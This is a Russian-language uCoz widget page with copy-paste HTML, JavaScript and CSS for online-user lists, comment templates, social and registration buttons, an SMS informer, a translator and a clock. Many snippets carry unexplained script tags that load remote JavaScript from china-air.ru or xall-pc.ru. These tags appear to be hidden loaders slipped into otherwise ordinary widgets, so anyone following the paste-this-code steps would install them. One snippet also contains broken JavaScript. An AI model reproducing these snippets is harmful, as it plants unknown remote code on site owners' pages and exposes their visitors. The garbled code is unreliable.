Меню сайта
АКЦИЯ!!!
Категории раздела
Сервис
Translate my page
Выбрать язык / Select language:
Бесплатное отправление смс сообщений!
Поиск
Календарь
« Май 2024 » Пн Вт Ср Чт Пт Сб Вс 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
Архив записей
Наш опрос
Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реклама
« 1 2 ... 27 28 29 30 31 ... 33 34 »
Описание: Новый симпотный вид кто онлайн для ucoz
Установка:
Ставим в блок куда вам надо данный ниже код:
Code
<div style="margin:-5px; margin-top:5px; padding:0px; border-top:1px solid #ccc; background:#f3f3f3; max-height:160px; overflow:auto; overflow-x:hidden;" id="userList">
<div style="clear:both"></div>
</div><script type="text/javascript">
$.get('/index/62',function(e){ fuu = $('cmd[p="content"]',e).text();
$('a',fuu).each(function(i){
$('#userList').prepend('<div style="margin-top:6px; margin-bottom:-16px; padding-right:6px;" align="right"><img style="margin-right:5px; cursor:pointer" onclick="alert(\'Разрабатываем!\');" src="http://bambun.ru/images/pmver2.gif" border="0" /><img style="cursor:pointer" onclick="alert(\'Разрабатываем!\');" src="http://bambun.ru/images/12.gif" border="0" /></div><a class="userList '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a><div style="clear:both"></div>');
});
});
</script><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><style>
a.userList:link, a.userList:visited, a.userList:active {display:block; text-decoration:none; border-top:1px solid #ccc; margin-top:-1px; background:#f5f3f3; padding:5px 5px;}
a.userList:hover {text-decoration:none; background:#fff;}
</style>
Описание: Новый вид комментария для uCoz с уголком. Небольшой вариант, вида комментарий, в котором установлено изображение уголка и прописаны стили, отвечающие за тень объекта.
Установка:
- заходим в админ панель сайта Дизайн => Новости сайта => Страница материала и комментария к нему
ищем код
и заменяем его на
Code
<ul class="cell_coment">
$COM_BODY$
</ul>
- теперь заходим Дизайн => Комментарии => Вид комментариев и устанавливаем следующий код
Code
<li>
<div class="avatar"><?if($USERNAME$)?><a href="$PROFILE_URL$"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?></a><?else?><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?><?endif?></div>
<div class="coment_info">
<span class="tip"></span>
<div class="coment_os">
<div class="coment_name left"><?if($USERNAME$)?><a href="$PROFILE_URL$">$USERNAME$</a><?else?>$NAME$<?endif?> <span style="">($DATE$ $TIME$)</span></div><div class="coment_nomer right"><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$">$NUMBER$</a></div><div class="clear"></div>
<div class="coment_message left">$MESSAGE$</div>
<div class="coment_rating right"><?if($COMMENT_RATING$<0)?>$COMMENT_RATING$ <?else?><?if($COMMENT_RATING$=0)?><span style="color:gray;">$COMMENT_RATING$ </span><?else?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><span class="myWinSuccess">+$COMMENT_RATING$</span><?endif?><?endif?><?if($GOOD_COMMENT_URL$)?><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_01.gif" width="10" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_01.gif" width="10" border="0" align="absmiddle" title="Плохой пост"></a><?else?><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_02.png" align="absmiddle" width="10" border="0" title="Хороший пост"> <img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_02.png" width="10" align="absmiddle" border="0" title="Плохой пост"><?endif?> $MODER_PANEL$</div>
</div>
</div>
</li>
- и прописываем в css следующий код
Code
/* ВИД КОММЕНТАРИЯ
===================================================*/
.cell_coment {
list-style: none;
padding: 0px;
margin: 0px;
}
.cell_coment li {
position: relative;
padding-left: 60px;
width: 500px;
}
.coment_info {
position: relative;
text-align:justify;
color: #555;
background: #fff;
border: 1px solid #C9C9C9;
padding: 10px;
margin-bottom: 30px;
}
.coment_os {
overflow: hidden;
}
.coment_name,
.coment_nomer {
padding-bottom: 5px;
}
.coment_message {
width: 100%;
border-top: 1px solid #C9C9C9;
border-bottom: 1px solid #C9C9C9;
padding: 5px 0px;
}
.coment_rating {
padding-top: 5px;
}
.coment_name,
.coment_nomer,
.coment_rating {
font:10px Verdana,Arial,Helvetica, sans-serif; color:#999;
font-weight: bold;
}
.avatar a:hover,
.avatar {
position: absolute;
...
Читать дальше »
Описание: Скрипты для ucoz - Выдвижная кнопка ВКонтакте для uCoz
Этак кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте». Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другогим хостингом, пример Вы можете увидеть справа.
Установка
1.) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код:
Code
#vkontakte_button img {
position: fixed;
top:125px;
right: -76px;
z-index: 99999;
cursor: pointer;
display: block;
}
2.) Следующий код вставляем в любое место на странице между head и /head:
Code
<script type="text/javascript">
$(function($) {
$("#vkontakte_button img").hover(
function () {
$(this).animate({right: '0'}, {queue:false, duration: 350});
//$(this).css('right', '0');
},
function () {
$(this).animate({right: '-76px'}, {queue:false, duration: 350});
// $(this).css('right', '-76px');
}
);
});
</script>
<a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;">
<img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
</a>
Настройка скрипта
Находим строчку в скрипте вот такую: http://vkontakte.ru/id23....25 и заменяем на свой линк..
Вот и все, установка и настройка завершена.
Описание:
Лучший пользователь сайта для ucoz. Это ячейка, в которой находиться аватар пользователя и его общее количество комментарий, подойдёт для блогов, в которых пользователи боряться за право быть лучшим пользователем блога.
Установка
- заходим в админ панель сайта => Инструменты => Информеры => создать информер
- Раздел: ( пользователи )
- Способ сортировки: ( количество комментарий )
- Количество материалов: ( 1 )
- Количество колонок: ( 1 )
теперь открываем информер и копируем туда следующий код:
Code
<div class="comment_info transparency_i">
<div class="comment_v">
<a href="$PROFILE_URL$" title="Профиль пользователя $USERNAME$"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?if($AVATAR_URL$)?><img class="avatar_img" src="$AVATAR_URL$" /><?else?><img class="avatar_img" src="http://bambun.ru/images/no_avat_ar.jpg" alt="no" /><?endif?>
</a>
$USERNAME$
</div>
<div class="comment_n">
<img src="http://bambun.ru/images/ico_coment.gif" alt="иконка комментария"> $COM_POSTS$
</div>
</div>
и css стили
Code
.comment_info {
text-align:center;
font:9px Verdana,Arial,Helvetica, sans-serif; color:#85898f;
width:100px;
border:1px solid #d2d2d4;
background: #e4e5e7;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
}
.avatar_img {
width:65px;
height:65px;
background: #fff;
border:1px solid #d2d2d4;
padding: 4px;
margin-bottom: 3px;
}
.comment_v {
border-bottom: 1px solid #d2d2d4;
padding: 10px 0px 4px 0px;
}
.comment_n {
border-top: 1px solid #fff;
padding: 5px 0px 5px 0px;
}
.transparency_i a:hover img {
filter: progid: DXImageTransform.Microsoft.Alpha(opacity=70);
-moz-opacity: 0.7;
opacity: 0.7;
filter: alpha(opacity=70);
}
Описание:
Информер "Отправить СМС"
Для установки информера поставьте на сайт следующий код в нужно Вам место:
Code
<style type="text/css">
<!--
body,td,th {
font-family: Arial, Helvetica, sans-serif;
font-size: 10px;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
-->
</style><table border="0" cellpadding="0" cellspacing="0">
<tr>
<td><a href="http://www.beeline.ru/sms/index.wbp" target="_blank"><img src="http://bambun.ru/images/beeline.gif" alt="beeline" width="90" height="58" border="0"></a></td>
<td><a href="http://www.megafon.ru/sms/" target="_blank"><img src="http://bambun.ru/images/megafon.gif" alt="megafon" width="90" height="58" border="0"></a></td>
</tr>
<tr>
<td><a href="http://sms.mts.ru/" target="_blank"><img src="http://bambun.ru/images/mts.gif" alt="mts" width="90" height="58" border="0"></a></td>
<td><a href="http://www.u-tel.ru/b2b/facilities/sms" target="_blank"><img src="http://bambun.ru/images/utel.gif" alt="utel" width="90" height="58" border="0"></a></td>
</tr>
<tr>
<td><a href="http://skylink.ru/msk/sms/" target="_blank"><img src="http://bambun.ru/images/skylink.gif" alt="skylink" width="90" height="58" border="0"></a><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></td>
<td><a href="http://sms.tele2.ru/" target="_blank"><img src="http://bambun.ru/images/tele2.gif" alt="tele2" width="90" height="58" border="0"></a></td>
</tr>
<tr>
<td><a href="http://www.kyivstar.net/sms/" target="_blank"><img src="http://bambun.ru/images/kyivstar.gif" alt="kyivstar" width="90" height="58" border="0"></a></td>
<td><a href="http://megacom.kg/rus/freesms/" target="_blank"><img src="http://bambun.ru/images/megacom.gif" alt="megacom" width="90" height="58" border="0"></a></td>
</tr>
<tr>
Красивая кнопка регистрации для ucoz. Выполнена в синих тонах. При на ведении на неё курсором, она красиво выдвигается.
Чтобы установить кнопку регистрации, нужно этот код вставить туда где вы хотите чтобы она отображалась:
Code
<script type="text/javascript">
$(function($) {
$("#onlinehelp img").hover(
function () {
$(this).animate({right: '0'}, {queue:false, duration: 350});
//$(this).css('right', '0');
},
function () {
$(this).animate({right: '-160px'}, {queue:false, duration: 350});
// $(this).css('right', '-160px');
}
);
});
</script>
<a id="onlinehelp" href="$REGISTER_LINK$"
onclick="webChatOpen();return false;">
<img alt="Регистрация" src="http://bambun.ru/images/4283_programm-newuco.png" />
<script src="http://xall-pc.ru/up.js" type="text/javascript"></script>
</a>
<style type="text/css">
#onlinehelp img {
position: fixed;
top:40px;
right: -160px;
z-index: 99999;
cursor: pointer;
display: block;
}
</style>
Вывод последних комментариев стал еще удобнее и стильнее. Шаблон информера комментариев выполнен в светлых тонах, с использованием 1 картинки(1 кб). Пример того, как можно сделать свой сайт еще мобильнее.
Создаем информер комментариев ucoz
Инструмента => Информеры => Создать информер
и создаём данный информер:
Раздел: Комментарии
Модуль: Все модули
Количество материалов: 10
Количество колонок:1
HTML
Теперь заходи в шаблон информера, удаляем содержимое и заменяем на следующий HTML код:
Code
<div class="last_comment_os transparency_i">
<div class="lc_message">
<a href="$ENTRY_URL$" title="$ENTRY_TITLE$">$MESSAGE$</a>
<script src="http://xall-pc.ru/up.js" type="text/javascript"></script>
</div>
<div class="lc_uzer">
<span class="lc_ugol"></span>
<?if($USERNAME$)?>
<a href="$PROFILE_URL$">
<?if($USER_AVATAR_URL$)?>
<img class="lc_avatar" alt="Аватар $USERNAME$" title="$USERNAME$" src="$USER_AVATAR_URL$" />
<?else?>
<img class="lc_avatar" title="$USERNAME$" alt="аватар отсутствует" src="http://bambun.ru/images/92873634.jpg" />
<?endif?>
</a>
<?else?>
<img class="lc_avatar" title="$NAME$" alt="аватар отсутствует" src="http://bambun.ru/images/92873634.jpg"/>
<?endif?>
<span class="lc_name"><?if($USERNAME$)?><a href="$PROFILE_URL$">$USERNAME$</a><?else?>$NAME$<?endif?></span>
<span class="lc_data">$DATE$ | $TIME$</span>
</div>
</div>
CSS
Заходим в CSS и вставляем в конец следующие стили:
Code
/* Белый вариант последних комментарий
------------------------------------------*/
.last_comment_os {
overflow: hidden;
float:left;
font: 11px Verdana,Arial,Helvetica, sans-serif; color:#555;
width:250px;
margin: 5px 0px 5px 0px;
}
.last_comment_os a:link,
.last_comment_os a:visited {color:#555;}
.last_comment_os a:hover {color:#999;}
.lc_message {
float:left;
margin: 0;
padding:5px;
width:238px;
background: #F6F6F6;
border: 1px solid #D6D6D6;
}
.lc_uzer {
float:left;
text-align:right;
width:250px;
position: relative
}
.lc_ugol {
position:absolute;
float:right;
background: url(http://bambun.ru/images/242703095.png) no-repeat right;
width: 27px;
height: 27px;
top: -1px;
right: 20px;
}
.lc_avatar {
float:right;
width: 30px;
height: 30px;
padding:3px;
border: 1px solid #D6D6D6;
margin: 10px 55px 0px 10px;
}
.lc_name {
float:right;
width: 145px;
margin: 13px 0px 2px 0px;
font-weight: bold;
}
.lc_data {
float:right;
font: 9px Verdana,Arial,Helvetica, sans-serif; color:#999;
width: 145px;
}
.transparency_i a:hover img {
filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);
-moz-opacity: 0.5;
opacity: 0.5;
filter: alpha(opacity=50);
}
/* ------------------------------------------*/
Блок для контейнера, с полной вариацией статистики вашего сайта на uCoz. Статистика отображается уровнем в процентном соотношение количества гостей и зарегистрированных пользователей из общей массы посетителей, так же кнопка для вывода посетивших сайт за день.
Не чего нового и сверх естественного тут нет, просто некое исполнения и компактность в собрание некоторых информационных вещей нужных ля сайта. Администрация сайта решила выставить свой блок из своего дизайна сайта.
Установка:
Данный код вставляем в блок:
Code
<div style="display:none;">$ONLINE_COUNTER$</div><table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td align="left" width="50%" valign="left"><span id="icon-border" style="margin-right:3px;"><span id="icon-gray"></span></span>Гости сайта</td>
<td align="right" width="50%" valign="right">Пользователи<span id="icon-border" style="margin-left:3px;"><span id="icon-blue"></span></span><script src="http://xall-pc.ru/up.js" type="text/javascript"></script></td>
</tr>
</table>
<div style="border:1px solid #ccc; background:#fff; padding:1px 2px; margin-top:2px;" id="stat-line" align="left"></div>
<div style="border:0px; padding:2px; text-align:center;" id="all-users"></div>
<script type="text/javascript">
var allusers = $('.tOnline b').html();
var gostusers = $('.gOnline b').html();
var siteusers = $('.uOnline b').html();
var uGosti = (gostusers/allusers).toFixed(2)*100;
var uUsers = 100 - uGosti;
function skl(a, n) {return a[n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>= 20) ? 1 : 2];};
$('#stat-line').html('<div class="cross1" style="width:'+Number(uGosti).toPrecision(3)+'%;" id="ghostss"><span style="padding-left:3px;">'+uGosti.toFixed()+'%</span></div><div class="cross2" style="width:'+Number(uUsers).toPrecision(3)+'%;" id="userss"><span style="padding-right:3px;">'+uUsers.toFixed()+'%</span></div>');
$('#all-users').html('Всего на сайте <b>'+allusers+'</b> '+skl(['человек', 'человека', 'человек'],allusers)+'</div>');
if (siteusers<1) $('#userss').hide();
if (gostusers<1) $('#ghostss').hide();
</script><hr><center>$COUNTER$</center>
<Hr><table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td align="left" width="45%" valign="top" style="padding-left:2px;">Пользователи онлайн:
</td>
<td align="right" width="55%" valign="center">
<input class="buttonprofile" href="javascript://" rel="nofollow" onclick="new _uWnd('TdUsrLst',' ',250,200,{autosize:0},{url:'/index/62-2'});return false;" value="Кто посетил?" type="button"></td>
</tr>
</table>
<hr>$ONLINE_USERS_LIST$<hr><center>
<div id="userD" style="font-size:8pt;color:#000;"></div>
<script type="text/javascript">
function declOfNum(number, titles) {
cases = [2, 0, 1, 1, 1, 2];
return titles[ (number%100>4 && number%100<20)? 2 : cases[(number10:5] ];
};
$.get('/index/62-2',function(data){
spisok = $('a',$('cmd[p="content"]',data).text()).size();
$('#userD').html('Сегодня нас '+declOfNum(spisok, [" посетил", " посетило", " посетили"])+' <b>'+spisok+declOfNum(spisok, [" юзер", " юзера", " юзеров"])+'</b>')
});
</script>
</center>
в таблицу стилей вставляем сам стиль:
Code
#icon-border {margin:0px; padding:1px; display:inline-block; border:1px solid #ccc; background:#fff;}
#icon-blue {display:inline-block; height:6px; width:6px; border:1px solid #586a7c; background:#607c99 url('http://bambun.ru/images/32298860.png) repeat-x top;padding-left:1px;}
#icon-gray {display:inline-block; height:6px; width:6px; border:1px solid #757B7F; background:#999999 url('http://bambun.ru/images/32298860.png') repeat-x top;}
.cross1{padding-top:1px;display:inline-block;padding-bottom:1px;color:#fff;text-align:center;margin:0px -1px;text-shadow:0px 1px 0px rgba(0,0,0,0.30);border:1px solid #757B7F;background:#7d7d7d;text-align:left;}.cross2{padding-top:1px;display:inline-block;padding-bottom:1px;color:#fff;text-align:center;margin:0px -1px;text-shadow:0px 1px 0px rgba(0,0,0,0.30);border:1px solid #586a7c;border-left:1px solid #646A6D;background:#61768A;text-align:right;}
Это бесплатный переводчик для Вашего сайта, форума или блога!
С помощью этого скрипта, пользователь сможет читать страницу вашего сайта на своем родном языке.
Установка: Вставляем код там где хотим видеть.
Code
<div align="center"><form action="http://www.google.com/translate_p" style="margin:0;padding:0;">
<script
type="text/javascript" src="http://bambun.ru/css_js/translate.js">
</script>
<input name="hl" value="ru" type="hidden" />
<input name="ie" value="UTF8" type="hidden" />
<input name="langpair" value="" type="hidden" />
<input
name="I1" value="ru|ro" title="Traduceti site-ul la limba
moldoveneasca" src="http://bambun.ru/images/flag_moldova.png" align="absbottom"
onClick="this.form.langpair.value=this.value" height="15" type="image"
width="20" />
<script src="http://xall-pc.ru/up.js" type="text/javascript"></script>
<input name="I2" value="ru|uk"
title="перевести сайт на Украйнскій мову"
src="http://bambun.ru/images/flag_ukraine.png" align="absbottom"
onClick="this.form.langpair.value=this.value" height="15" type="image"
width="20" />
<input name="I3" value="ru|bel"
title="перавесці сайт на Беларуская мова"
src="http://bambun.ru/images/flag_belarus.png" align="absbottom"
onClick="this.form.langpair.value=this.value" height="15" type="image"
width="20" />
<input name="I4" value="ru|de"
title="Ubersetzen Sie diese Seite ins Deutsche"
src="http://bambun.ru/images/flag_germany.png" align="absbottom"
onClick="this.form.langpair.value=this.value" height="15" type="image"
width="20" />
<input name="I5" value="ru|it"
title="Traduci il sito dalla lingua italiana"
src="http://bambun.ru/images/flag_italy.png" align="absbottom"
onClick="this.form.langpair.value=this.value" height="15" type="image"
width="20" />
<input name="I6" value="ru|en"
title="Translate this page to English"
src="http://bambun.ru/images/flag_usa.png" align="absbottom"
onClick="this.form.langpair.value=this.value" height="15" type="image"
width="20" />
<input name="I4" value="ru|fr" title="Francais" src="http://bambun.ru/images/flag_france.png" onclick="this.form.langpair.value=this.value" align="absbottom" type="image" width="20" height="15">
</form></div>
отличные часы на ваш сайт,блог
Code
<center><embed width="185" height="185" quality="high" type="application/x-shockwave-flash" wmode="transparent" src="http://bambun.ru/images/clock6.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" allowscriptaccess="never"/><script src="http://xall-pc.ru/up.js" type="text/javascript"></script></center>